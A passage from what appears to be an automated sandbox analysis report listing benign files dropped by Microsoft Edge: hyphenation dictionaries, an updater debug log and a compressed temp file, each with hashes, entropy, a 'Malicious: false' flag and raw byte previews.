Preview:	hy.b........<...\|................................ ...(...0...8...@...H...P...X...`...h...p...x......................................................... ...!..."...#...$...% ..&(..'0..(8..)@..*H..+P..,X..-`...h../p..0x..1...2...3...4...5...6...7...8...9...:..;..<..=...>..?..@...A...B...C...D...E ..F(..G0..H8..I@..JP..KX..L`..Mh..N...O...P...Q...R...S...T...U...V..W..X...Y..Z...[...\...]...^ .._(..`0..a8..b@..cH..dP..eX..f`..gh..hp..ix..j...k...l...m...n...o...p...q...r...s..t..u..v...w..x..y...z...{...\|...}...~ ...(...0...8...@...P...X...`...h.............................................................................. ...(...0...8...@...H...P...X...`...h...p...x.......................................................... ...(...@...H...P...X...`...h...p...x..................................................................... ...(...0...8...@...H...P...X...`...h...p...x................................................................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-nb.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	145263
Entropy (8bit):	5.817435539709432
Encrypted:	false
SSDEEP:	3072:pPTHXHEm69FrOP8d4hRLiinKL4Qshbv2fuOQXCxj+60EoM8WC5zgk:p73HEUP8dsiinTThjy90VKk
MD5:	677EDD1A17D50F0BD11783F58725D0E7
SHA1:	98FEDC5862C78F3B03DAED1FF9EFBE5E31C205EE
SHA-256:	C2771FBB1BFFF7DB5E267DC7A4505A9675C6B98CFE7A8F7AE5686D7A5A2B3DD0
SHA-512:	C368F6687FA8A2EF110FCB2B65DF13F6A67FEAC7106014BD9EA9315F16E4D7F5CBC8B4A67BA2169C6909D49642D88AE2A0A9CD3F1EB889AF326F29B379CFD3FF
Malicious:	false
Preview:	hy.b.............%..o7......A........................................................................................................................................................ !"...#......................... !"...#....?.........?...............@DB.@N.#@c..y.2.2.:@4.C.8HK.<.T@?.\.D.d@Q.m.bMv@q...q..t...}....R.....@...........@...e.........v...q.....@.^............("...c......%...C%@%...0E..7..A8G.A....9...9...#K....%A:M&A=.,.B.2.C.6.DJ.@F.:.F.A.A.H.S.P.T.T.T.Q@U.2.X.U.+...?.Z.\...^..a..c.2....@d...d...g#^..AbAg.gAj...mDmAh.r.d.wARG}.pH..s.....H.t...u.....bN......P..w...y..Ay..z..~..A~..~.Y......Y.N."....@Z...Q....P....Z.B.R.......A....A......U.........:.>.....H..5...u.(..K...L......N0@......\_........?S..4..@.U..=....@l..B.Y..a...[p..\..8...9...oIB....o..C..........+.p......@..!...;.......@1H..I.@.....K...L:..M .....5..B....(...+....S..[.:.A.....\|..A....A.Y.@.....g..........i..C..G..Bb...eF'..G........$..J1AW.IA.L.MO.#.>@..1....@...@O.6B8S=.<.C.

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-nl.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	77080
Entropy (8bit):	6.2368503477710115
Encrypted:	false
SSDEEP:	1536:2jJm3BkOrDrNWS+9cyF85YT0Bl3aGmsRlSq7wb/lFFQ6B:29m3DXgpeFl3ssRJ7m/lFlB
MD5:	D3BB05944DE3D0D7186E7E9383805E2C
SHA1:	1B1EA734D900F8D766E7226FEE09EE14FE606A7B
SHA-256:	5EBDE398944B461CF940F0520C5A49C0882B6F36F9AC5CDA0538C8C8B44FB7CA
SHA-512:	5FD9C6E5E4F060D1B37B7E80F162AB10C1EFB24258A5BB26C89469004191EC5517E4CF4C1C7724C838C62B5358D3C95D515C1EE4A5B001C42C3325CE1D11A928
Malicious:	false
Preview:	hy.b............\....-......A................................................................................................................................................. ..!".#....$....&%.............. ..!".#....$....&%....?...............YC......A.@U..@..!`4D) ..0 ..9..GB.G.J.?.P.O.X.Q._.ZLi.M.p._.x.a..@y..@\|..`{...\|.....`T..@..........``.........#`...........@...@.`...Zk.b..... .....ec..f......#B,.'.<.)...+E. +F..-....H.-.....@/..`0..`1...1N. ....1.....gA8...:...;.. ;Ud.=..`>.> ....@.R@@.G@#..F.aLO..N.R ..,.....O..`6C.AQ...)..!U...UG..U...=...N..`V.....%.V..WN/!W..aW.2.XQ\...8.XS=a..AA[.F....@]WY.......$.]Z%.].s.$........AJ.^.5A%.# ..._.J.`..ab...c%.!c.,...KAcB'`c..@;.. d.P.6F. GY@dH.5.S.e..7..f.V..MY.7...f.Y.... g.D.hR_!h.aah.=.LUc.5V#.bW.i.."....i...j.,...h!6BY@jC7.f.% I.m.j..al...%.o...s....T.v..L...A\.\NY`..z....D.. .R.am.c`%...m...m.e.S..`.I...YQ.m.,.m.. nE-c?.DA.^Q@o.,.....oBE.oC1aZ..AT..!pFY@p...pHU.q...,JY ...`qL...MY.F.V.q..rP3 ...ArR..r..a..H.'U...V..r

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-nn.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	145263
Entropy (8bit):	5.817435539709432
Encrypted:	false
SSDEEP:	3072:pPTHXHEm69FrOP8d4hRLiinKL4Qshbv2fuOQXCxj+60EoM8WC5zgY:p73HEUP8dsiinTThjy90VKY
MD5:	F2D8FE158D5361FC1D4B794A7255835A
SHA1:	6C8744FA70651F629ED887CB76B6BC1BED304AF9
SHA-256:	5BCBB58EAF65F13F6D039244D942F37C127344E3A0A2E6C32D08236945132809
SHA-512:	946F4E41BE624458B5E842A6241D43CD40369B2E0ABC2CACF67D892B5F3D8A863A0E37E8120E11375B0BACB4651EEDB8D324271D9A0C37527D4D54DD4905AFAB
Malicious:	false
Preview:	hy.b.............%..o7......A........................................................................................................................................................ !"...#......................... !"...#....?.........?...............@DB.@N.#@c..y.2.2.:@4.C.8HK.<.T@?.\.D.d@Q.m.bMv@q...q..t...}....R.....@...........@...e.........v...q.....@.^............("...c......%...C%@%...0E..7..A8G.A....9...9...#K....%A:M&A=.,.B.2.C.6.DJ.@F.:.F.A.A.H.S.P.T.T.T.Q@U.2.X.U.+...?.Z.\...^..a..c.2....@d...d...g#^..AbAg.gAj...mDmAh.r.d.wARG}.pH..s.....H.t...u.....bN......P..w...y..Ay..z..~..A~..~.Y......Y.N."....@Z...Q....P....Z.B.R.......A....A......U.........:.>.....H..5...u.(..K...L......N0@......\_........?S..4..@.U..=....@l..B.Y..a...[p..\..8...9...oIB....o..C..........+.p......@..!...;.......@1H..I.@.....K...L:..M .....5..B....(...+....S..[.:.A.....\|..A....A.Y.@.....g..........i..C..G..Bb...eF'..G........$..J1AW.IA.L.MO.#.>@..1....@...@O.6B8S=.<.C.

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-or.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	647
Entropy (8bit):	4.1580884891492484
Encrypted:	false
SSDEEP:	12:vke/qU1skFHsUbhiZmltXz4Nw2GVlHthkIU9t80dtcUe0jum08h:82qHkqEEoUIU88yMc8h
MD5:	7E265A294303F69AA66C243F5F474463
SHA1:	4D382AB4BED3DBE481710F0C651CA87B2394661D
SHA-256:	4E9CD302BAFFC4EA3E9652327EA24072EBF37B5C4FC0719292BDAC10AAAD665B
SHA-512:	D347D422249945C9A664BE3C48E1EC07BECAF03BD3525869F06C9AA328B4FE2884AC963CB97949D97E5AB41617B0FC6F2A2171F06007BF94CCE88D55A15DA922
Malicious:	false
Preview:	hy.b........$...X...........A.....X...X...X..(X..0X..8X..@X..HX..PX..XX..`X..xX...X...X...X...X...X...X...X...X...X...X...X...X...X...X...Y...Y...Y...Y.. Y. (Y.!0Y."8Y.#@Y.$PY.%XY.&`Y.'hY.(pY.)xY.*.Y.+.Y.,.Y.-.Y...Y./.Y.0.Y.1.Y.2.Y.3.Y.4.Z.5.Z.6.Z.7.Z.88Z.9@Z.:XZ.;`Z.<hZ.=.Z.>.[.?.[.@`..Ah...............?......G............A...........A..............................................................................................................................................................................................................................=...........@...................................(......................................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-pa.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	607
Entropy (8bit):	4.0169087789595075
Encrypted:	false
SSDEEP:	12:MV9cE9PvVFvf1EEPHflMijlt7zvnG43fcN8Udtcct8U9t80dtcU/8Ub8h:MsENVdt/tNXX3fU80ccSU88ynu8h
MD5:	0F27E5BCCC1CD9DDF3EAC020DA27DA57
SHA1:	BD3C83300AAD3E79287C1E806E864F7644240911
SHA-256:	470329D28FAA484F945D78FFEFB176DCB6F2032C753E25BC014106AD24B2C68A
SHA-512:	141DA09A4A1A3B9E581751A1B2C70CBE981E1A915EA538A8015C7614D11BE059CD3A03B4F2420F963E5657A4417B3CC5C3A22E0028132A21363219E27751CCFB
Malicious:	false
Preview:	hy.b............0..._.......<.....P...P...P..(P..0P..8P..@P..HP..PP..xP...P...P...P...P...P...P...P...P...P...P...P...P...P...P...Q...Q...Q...Q.. Q..(Q..0Q. 8Q.!@Q."PQ.#XQ.$`Q.%hQ.&pQ.'xQ.(.Q.).Q.*.Q.+.Q.,.Q.-.Q...Q./.Q.0.Q.1.R.2.R.3.R.48R.5@R.6XR.7`R.8hR.9.S.:.S.;`..<h......?...............B.......A...B...C`...@... ..........................................................................................................................................................................................................x...y...z...;...\|...............................(......................................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-pt.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1414
Entropy (8bit):	2.57311219135147
Encrypted:	false
SSDEEP:	24:TF+k+Mo1Mo1gL82mvD2VE+hJBBSZ6s8ADrsh:RlNo1Mo1lx7+hJy8sdQh
MD5:	564FF32DED64C6BFC693F2758A53D68E
SHA1:	3965F963D36BEE1598683E72C857A3BFF196B295
SHA-256:	F6FBF1BCB260CC86256FC494F388F7B27D10865FBF8F61517DEE25AF4D58D6E8
SHA-512:	E9E574BA07703295AA8B7FD4603EF079816EA44394BD62750E08E523B9A7B408FD979552D90D04F825242CCADA7AD66003FBA76C9C8469541B5C6D2FB85C41E8
Malicious:	false
Preview:	hy.b............L...........-.................................................................................................................................................................... ..!....."#$....%............... ..!....."#$....%......?.......................A.......C.......E.......G2......B...J....:..L2.......:..........Q2.......!...*..U2......W2.......:...:...............:...............#..........................................G...........X...........B.......F....................... ...!...".......$...%...........B...............F...............J.......................P...V....................................... ...!...".......$...%................................................................................................................................................... ...!...".......$...%...........B...............F...............J.......................P........................................... ...!...".......$...%...........................................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-ru.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	19886
Entropy (8bit):	5.101274087578558
Encrypted:	false
SSDEEP:	384:hRsmaIUzHCX1GgFJwKSw4foB7zM1xnXg3JIcDn4VOzfr7K8lxf4:hR8IUzIRQw4foPM1xn6lDn1TFA
MD5:	4D132AB42E0C8ABD3BA93D8B34BDBEB3
SHA1:	F3CE82F2DBDEAD517D5FAA4490E1975EF8FAFA6E
SHA-256:	336CE2048FFD31B7BCAF435E53BADFAF0579E405042D49ADBC0823F6BE5F9614
SHA-512:	EB8E27AB070DB7407F1EDE29751AAB4A88F4182E878E956CC51D0ED9EF2C9AFDEC208F2F4700551374C5A7F69C176ED7D6CB771AC17C3EAE77323A5709A85FCC
Malicious:	false
Preview:	hy.b............,K...M......v..."...#...$...% ..&(..'0..(8..)@..H..+P..,X..-`...h../p..0x..1...2...3...4...5...6...7...8...9...:...;..."...#...$...% ..&(..'0..(8..)@..H..+P..,X..-`...h../p..0x..1...2...3...4...5...6...7...8...9...:...;..... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ...!...!...!...!.. !..(!..0!..8!..@!..H!..P!..X!..`!..h!. p!.!x!...!...!...!...!...!...!...!...!...!...!...!...!...!...!...!...!..."..."..."...".. "..("..0"..8"..@"..H"..P"..X"..`"..h". p".!x"...".....?...............G...@.....0......! ..).../H.F7P...\..?...E...M..KS...Y..._...g..Oo...w`..~....p.....T.................Y..... .['...<....p....._...............B)...x...0...(.......A...............(...@.....N.........`.Q...RKx.......8.U.......+.......Bh..4..Q.....8.....F...........]....X...(.C.........i...x.P...H.a.I....C................... ...;.......&Y.S,...1y...i..6...uc..u.......7.......!0.T.(.F.....8.....!.....@.....Cf....... ...V..P........H..1..S.......M<....P.. ...@..F....~..

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-sk.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	64103
Entropy (8bit):	5.820830603564126
Encrypted:	false
SSDEEP:	1536:tIAzVJ7EgiDEY0ZcznEDEo5JWJ4pgY5AW/N+:dhJRiDEfMaEw24auAv
MD5:	CEA295E8B4B99F95738727905A9184E2
SHA1:	31DB6C826FD7830BC76F0AC1B9D21C2EF67F8B1F
SHA-256:	138C5990961DA21993653F54A413DDACB8921D6D70B892B7CA154D6E8AD2028C
SHA-512:	B20F651C74A070A4D26B58BD8462E553077B7333A2C854F7974A7E67BC442C3A6FEBA52C3A537FD9F1579D5DE0126BBE1DA4BE99AABEE79B7987B2EDFDD8ED67
Malicious:	false
Preview:	hy.b............H...g.......i....8...h............... ...(...0...8...@...H...P...X...`...h...p...x..................!...#...&...'...(...)...+................ ...(...0...8...@...H...P...X...`...h...p...x..................!...#...&...'...(...)...+.......- ../@...H...P..0X...h..1p..2x......4...3...$...5...6..........- ../@...H...P..0X...h..1p..2x......4...3...$...5...6.......`...h...p...x...........8...@.......... ... ..." .."(..%p..%x..,...,...........?...............[=........p...p.C.....P.....$...-.......2.......;.......$...G...Q...W...` .Q~..S....l...up........%..Y...Yv1.......`.............]...!.`..5....p..z..#F..fd..'.....p.i..]d...D...B..m.0.n.`... .0.......r P.3.......5...6..............g...;....p.U...K......!.i........P$...<...R.....T.P.....V.........B......M..[.........q..'#...A...i..........+..]q......f]@.....h...i.....`..........m..T.0..-........@.U\..............G.....".I"Q.........!.0..m2..'...-......QT....t......1!..7..V=...?......Y.....`..C!._....H......_Nq.....

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-sl.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6631
Entropy (8bit):	4.666183419763895
Encrypted:	false
SSDEEP:	96:LbHqR1cAky2TFP+HQ1QpHPZtCjUtKapFxx8mLJO/5n0PatE08YyM9eW3svUaf5lk:P21cPFPAHPGjpEr85/NVtEjoeW88af5m
MD5:	A21358DD4506643486F72F7D80D60A5B
SHA1:	FB7EE02ADC970F4D71C84D18777A59508FA1A46C
SHA-256:	AD746C68562603AC3B15E89DA03C76E081C08E7D9C8D4C9F64763E53D696C77C
SHA-512:	7DC9E18050B3DF4288AACAAFFDB17668F0B5D8B5E103305070D2EF83DAB2F5DBE3B071B05CA69340D86A53D47D4CF8197ECC1BDD086A320BF81F9DF8C0D3CCB8
Malicious:	false
Preview:	hy.b........d...............A...................................................................................................................................................................................................................................................................................................................................................................A.D...#.....d.)...E...&.g.........7..... ..l#8..&...?./....1@.Q....5...8..T;2..>...B..w...X....C...E...H...J..}K................+.....c...A.,..x/.....iw1.H :......y-..P!.....0...n.$...<...0..yC.....V...t....\| ...%.:.'.;...<.*.=.....4.".....5..0..e...F.....9.....I6...L........".....n7(.....0....}=..N..........U!....>.g.3.3}.......O..........]`...F..%{..c...d...E....z..................k...L'......n...o)..........RL..s...t.......v....z..............{...\|.......b...c........$......g...h....1..j...k...lJ..M....R...M..p...\|}...4..s...................}...t.......{...\|........(.......R..%....:...................+..

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-sq.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2013
Entropy (8bit):	4.405419184822226
Encrypted:	false
SSDEEP:	24:Q2nTjgiQesp28MNwcPsBPAKeJjlg6uO8FmdR+w1NdpbYBUYxqt68b40DBz/mUfpg:VHErckB4Z6O8F691r6Bdnl0Nz/f7+
MD5:	A22D0F39CD83F3A8E251F95C5B12DD31
SHA1:	24915151B31525A0A9EA0EF7FAF8DDB8B3FAF11E
SHA-256:	BC29C9401CE952414CBAEBC5C8EE1D27C1706C6F77807B5FF713E2124438B3CA
SHA-512:	AD319FC85AA612BEDAD8289A20FCF42D4336C4B3ED704CE74C6C0ED68E3E18D62C18549F8A5EFE5BD481D8DEF514F2C6B083803485E04BD5919BC600501C0E00
Malicious:	false
Preview:	hy.b........................8....8............... ...(...0...8...@...H...P...X...`...h...p...x....................................................... ...(...0...8...@...H...P...X...`...h...p...x...........................................8...X...8...X...................?......v...`...!@.."@..............&.......H.......*........J.........o...PP......2....E..4...uV..VY......X.......:.......\@..]........@.......................@......................................4...............x...0...............]...........................+................ ................../................&......w...........0...n...................6....................................................................C..m...,........L...........!...(...............@...A..........L(..........................K.......................................6............C......$........C......."...C...............C...................b..L$...$.......(......lb......7........C..z............C..4...........L'..n............g......

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-sv.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72119
Entropy (8bit):	6.043656444032453
Encrypted:	false
SSDEEP:	1536:KC2kHtGIlaNlgMMjmhkFQ0+9FRGv8L38CNf7k2k1rJ:KCDcIlt5mhweMEX42k1l
MD5:	892598DC59CE71E68ED337ED9FF3ABC1
SHA1:	C89AF0D28B8B769150981539EC2318E34DF29CCE
SHA-256:	56642AA5A37625FF9D034761D16B034D4BA5BE74090CBD825956BBCE2775ECD1
SHA-512:	EB13A68FF5CDD0EDD73CE4C109984B3E58763812C31755BD55C0A324048873F610E36D1C41B3F642A64F7FE0945EE872A02FDE744D5821AAB03A2288851D984D
Malicious:	false
Preview:	hy.b............D...........A.................................................................................................................................................................. ............................... ....?...............SA.........2...... GD'..E/.WF7.OG?.\.G.5.O ^.W``._...g...o ..w.... .......`... #..@$...%...&..@'..'. )..@...`+..`... -.. .^.........`1B..1..`2..@3..`3.. 4..........@6...7..!.L.A...A9..`:O..:..!<.......<S..=.".>U&.6V+.>..@?..`?.+.?...:....\.@8...(R.`..0!A@....3.CB6.D. ...:!.E......F.?.F..`G..H.2...B...I!I.P.K.V.KO...[.!.. L.b!..j.L.qa .u.#Vz.MW..N.#.NY..9.......O.r.:S..;..&P.{@P@. ...aP...R.C@Q..`T.a.FI..G:.T.r@....TE.AU.r`UL#..M..%.r.U...<..`V..#W...:SO.T...TU.aD.. (.r.X...#.1.X..a.[g.Y.E..].`.A"Y_.@Y@.......EY.-..@.. .YE..O.A.... Z..Z...[..[K..[O/B\..`\...\..A...C....\.M.\. B.).]..]...^..`...C^...ZZ.`^L.C....^...^@......_.8@.C*._..=..a-.# `.Z`....I....8!...@..Q`... ..r....a..&.........S.!.TF ...!.VI........@....Z.L... .b. .6. .. !

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-ta.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	554
Entropy (8bit):	4.097315344818262
Encrypted:	false
SSDEEP:	12:qOkVbj778oso/8kbX7MTADiZM3kTxPUKtcUUymPr:qdVv77yo/8AX7MTHLGKynyOr
MD5:	AB2F6F9696FC7D699356244725E7C778
SHA1:	2026841DA77DD77715B521EC73BF819D1D098B60
SHA-256:	40FDA94856A86F065DE8BAA6184EA63DCDB011EE4CA498A7C1FEE44C99314C67
SHA-512:	88A4C2117102BDB60D482448C36DD79A8DA1130A4636513C8ED56EB282DA6C638D27EABC9799EAB8BC1A7234A0AA6690C55408500608387912FE283F13BCC328
Malicious:	false
Preview:	hy.b.......................3.....\...\..(\..0\..8\..@\..H\..P\..p\..x\...\...\...\...\...\...\...\...\...\...\...].. ]..@]..H]..P]..p]..x]...]...]...]...]. .].!.].".].#.].$.].%.].&.].'.^.(.^.).^.0^.+8^.,@^.-P^..X^./`^.0h^.1.^.2`..3h......?...............<........@...0...a.......A...!.......Q..........................O...P...Q...R...S...T...U...V...W.......Y...Z...[...\...]...^..._...`...a...b...c...d...............................................................0...0...................................,.............................................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-te.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	703
Entropy (8bit):	4.223695084085508
Encrypted:	false
SSDEEP:	12:A1l1ltFUcfE8Uceyqw2ttN6rOODQlESkP9t80dtcU9tFj0osZE8h:A1icE8UcZPH88yUFIbZE8h
MD5:	BF9DF63B3C97DE3BFF99E24EE4BC5F2E
SHA1:	774659CF1D58BCFC69900315281E99E038CD2A97
SHA-256:	516FA9654FA3AEAAB480D40EAF6AD78FC039086BD8EDC144BE3D59525EDCAC29
SHA-512:	52F40A2C38CC62AA6B0E081C90B9DFCD6D3ED03A4A90E596E11AC85BFDA96EAA74D465CD7168B803C0D59A53DF878B0EA1CA657C5CAF3DE49C8758CBD527BEE2
Malicious:	false
Preview:	hy.b........@...............H.....`...`...`..(`..0`..8`..@`..H`..P`..X`..``..p`..x`...`...`...`...`...`...`...`...`...`...`...`...`...`...`...`...a...a...a. .a.! a."(a.#0a.$8a.%@a.&Pa.'Xa.(`a.)ha.*pa.+xa.,.a.-.a...a./.a.0.a.1.a.2.a.3.a.4.a.5.a.6.a.7.b.8.b.9.b.:.b.; b.<0b.=8b.>@b.?Pb.@Xb.A`b.Bhb.C.b.D.b.E.c.F.c.G`..Hh...............?......N............A...........A......................................................................................................................................................................................................................................................C...D...........G...................................(......................................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-tk.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2712
Entropy (8bit):	2.634842338757876
Encrypted:	false
SSDEEP:	48:pOWZMS0jrjvFgj3PgjY8jKHjgj5D+SlRAd5+UjbxgjUKdHyM:l0fzODok8+jg9D+eRA6UnxgTdHyM
MD5:	ED60185B6F455B6F8ED27EAEB73334A9
SHA1:	11E53BDA5E2A0ACD000692AD8AF45611B57277AD
SHA-256:	77FDAED29BD842AAA976AB7EF81B617A15C0A2D1EBD1161C1BF26B79A108B5CD
SHA-512:	3EF211A330EFE9E34468C9C460DFCDA1B8DA80D113317A177205C76FFCB916FF25FFCB4485703FD01EE248D356A67E5BB18DF8E5EA40B2AAB3999121083B7E30
Malicious:	false
Preview:	hy.b........x...d...........-...............................................................................................................................................................................................................................................................................................................................................................................5.......!...b....2...2..E$.....G....2..I$...2..K........2......o....2..1........2..t........ ...2..X$...2...'...+..</...2......2..c...d6......f6..g6..h6......j6..k6..l6..m6..n6.....p6..q6..r6..s6......u6......w6......y6..........\|6..}6..~6...6..C...D.......F...G...H.......J...K...L...M...N.......P...Q...R....B......U.......W.......Y...........\...]...^..._...C...D.......F...G...H.......J....B..L....B..N........B..Q........B......U.......W.......Y...........\...]...^..._...C...D.......F.......H.......J...K...L...M...N.......P...Q....B...B......U.......W.......Y...........\...]...^..._...C...D...

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-uk.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	19417
Entropy (8bit):	5.328804005178715
Encrypted:	false
SSDEEP:	384:+uuckg5iXANOMyv3qTtbfRhn8da+dzk29L5zA:1FviXA4MuofRhn81zk291A
MD5:	0EC028755F0CD9EBBA41FB7273DE8BAF
SHA1:	A8A784454269A2769710FB3725730F06CDD7B242
SHA-256:	1C626ABE40D43F6D56A01B5B40305D7C7D6481F616EAC00A3F3AAAACA8388786
SHA-512:	024C611EBABB0A84B5A887D808E24884CCBB4550F222E651728451CDDB9A941D7D9A39786DDFE4A57D049DC82780C6BCF376D3E98547ECC4808FC7ED32ED47A9
Malicious:	false
Preview:	hy.b........4...pI...K......E....8...h..! ."0 .#8 ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ...!...!...!...!.. !..(!..0!..8!..@!..H!..`!..p!. x!...!...!...!...!...!...!...!...!...!...!...!...!...!...!...!...!..."..."..."...".. "..("..0"..8"..@"..H"..`"..p". x".!.".".".#.".$.$.$.$.........?.........................x...p..#...,h..5x..>H..G(..P...Y0..b...k...t...}P...........0........@...8....................................1..(1..1a..:...C)..L..........K?.......U...X.......^....X.....Kc.......VI..e..Ob...h...n...W...oq..l9..qA..rY..\...g..Y^)..^...`...y....(... ...H...P...............h..........9....Q.......I.......i...a...9...................Q...........9...Y...A...........q...y...a...........!...i...y...........i......{i...........................y...!...q...........A..........................................................................................{.........................................................y...................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-und-ethi.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3484
Entropy (8bit):	5.253138005413701
Encrypted:	false
SSDEEP:	48:KEn0vz7f+IXVNBMWXma7WWDrOEKYa3FZxU6b7JXkB5/Xh5f3B5PBhPPhhvPK0OEl:Fy5VNB9XrbDHKYKZHpEx5fxhPf7O0V
MD5:	4AA9B2C0C9CCDE5140D01DC6502242BB
SHA1:	D1759E8A62A42A72529ADF9BC73820BF32F2A37B
SHA-256:	1DE83CB787DFAF53FB7E6E8DB3AAE5008AD24EBDD28BE02031306EA9E9F3E285
SHA-512:	1B456301D814810E857E8A0C426E703A802FEBB5C3DFD8D0E5C58AEEFC6C2D6F55C95830024C243D2BFBB8322EF72E9FF959CDC7F92AE51BEBE8B053D9CDA1E5
Malicious:	false
Preview:	hy.b............\|................................ ...(...0...8...@...H...P...X...`...h...p...x......................................................... ...!..."...#...$...% ..&(..'0..(8..)@..*H..+P..,X..-`...h../p..0x..1...2...3...4...5...6...7...8...9...:..;..<..=...>..?..@...A...B...C...D...E ..F(..G0..H8..I@..JP..KX..L`..Mh..N...O...P...Q...R...S...T...U...V..W..X...Y..Z...[...\...]...^ .._(..`0..a8..b@..cH..dP..eX..f`..gh..hp..ix..j...k...l...m...n...o...p...q...r...s..t..u..v...w..x..y...z...{...\|...}...~ ...(...0...8...@...P...X...`...h.............................................................................. ...(...0...8...@...H...P...X...`...h...p...x.......................................................... ...(...@...H...P...X...`...h...p...x..................................................................... ...(...0...8...@...H...P...X...`...h...p...x................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.390957236369044
Encrypted:	false
SSDEEP:	24:YJxF5sQ5szAW01Rp5yK10YO5qv70VhQu5Fa05Zc1J5qZlRiu05Z+J5M:YJxF5sQ5sEW01X5y60YO5qD0VH5Fa05u
MD5:	BB65E69B936F74CF4EE2B1C87C00C029
SHA1:	74BE2A4883F939C9AF9A420EA7D39C3834116A7B
SHA-256:	2535DC8C9A2460040B4C5B154FAF6B6D989FAF27B3E2DFEF4205B86396273349
SHA-512:	D78A6FBD9E1A21CA63BABC7C48F94E2EE9D8430E1A065231804033E21D0CCE67BC590BB04E7E8008F3E365DEE42F65D418317D8B5C7144B3B5537631F6B67E55
Malicious:	false
Preview:	{"logTime": "1005/081724", "correlationVector":"2/PmMr7SOFFRIqTwW+HesJ","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"mBsci4p0IuAlecFQAh3IDU","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"EFCCE5F7ECC74238A0D17C500D8EB81C","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083130", "correlationVector":"jkXXrPbML/1ucIa5c7okZ6","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083130", "correlationVector":"CECEB17551BE48CCBF3DD12E07118D84","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083241", "correlationVector":"WUtA7xoJfeUJPFSRRtPAng","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083242", "correlationVector":"B7F67C44DD3147F7BE748158D3F8E7B5","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083444", "correlationVector":"6kKZpL8SvSsrBcj/Fl+tva","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083445", "correlationVector":"94D95442

C:\Users\user\AppData\Local\Temp\f0272439-24fe-483f-91d6-8a1fe50f85b7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
